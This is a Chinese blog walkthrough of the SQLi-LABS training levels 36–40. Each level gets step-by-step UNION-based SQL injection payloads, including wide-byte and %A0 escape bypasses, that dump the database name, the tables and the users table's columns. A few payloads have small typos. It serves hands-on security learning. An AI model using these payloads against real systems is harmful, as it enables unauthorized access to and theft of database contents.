SQLi-LABS靶场36-40通过攻略

less-36

这一关是转义函数换成了mysql_real_escape_string,绕过方法与35关一致

1.判断注入点

2.判断闭合方式

id=1'A0 --+

3.查看页面回显点

?id=-1%A0%27%20%20union%20select%201,2,3--+

4.查询数据库名

?id=-1%A0%27%20%20union%20select%201,database(),3--+

5.查询数据库的所有表

?id=-1%A0%27%20%20union%20select%201,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),3--+

6.查询users表的所有字段

?id=-1%A0%27%20%20union%20select%201,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273),3--+

less-37

可以看到是一个post表单 

1.使用burp进行抓包

2.判断注入点

在uname后进行宽字节注入 发现会出现报错

3.查看页面回显点

uname=?id=-1%df' union select 1,2 --+

4.查询数据库名

uname=uname=?id=-1%df' union select 1,database() --+

5.查询数据库的所有表

uname=?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

6.查询users表的所有字段

uname=?id=-1%A0%27%20%20union%20select%201,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273)--+

less-38

这一关是堆叠注入

1.判断注入点

当?id=1'时 页面会出现报错

2.判断闭合方式

?id=1' --+ 可以闭合成功

3.查看页面回显点

?id=-1' union select 1,2,3--+

4.查询数据库名

?id=-1' union select 1,database(),3--+

5.查询数据库的所有表

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

6.查询users表的所有数据

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3--+

less-39

1.判断注入点

当?id=1'时 页面会出现报错

2.判断闭合方式

?id=1' --+ 发现单引号无法闭合 可能是整数型

?id=1 --+可以闭合成功 说明这个是整数型

3.查看页面回显点

?id=-1 union select 1,2,3--+

4.查询数据库名

?id=-1 union select 1,database(),3--+

5.查询数据库的所有表

?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

6.查询users表的所有字段

?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3--+

less-40

1.判断注入点

正常页面

错误页面

2.判断闭合方式

当?id=1') --+时 可以闭合成功

3.查看页面回显点

?id=-1') union select 1,2,3 --+

4.查询数据库名

?id=-1') union select 1,database(),3 --+

5.查询数据库的所有表

?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+

6.查询users表的所有字段

?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3 --+

  • 12
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值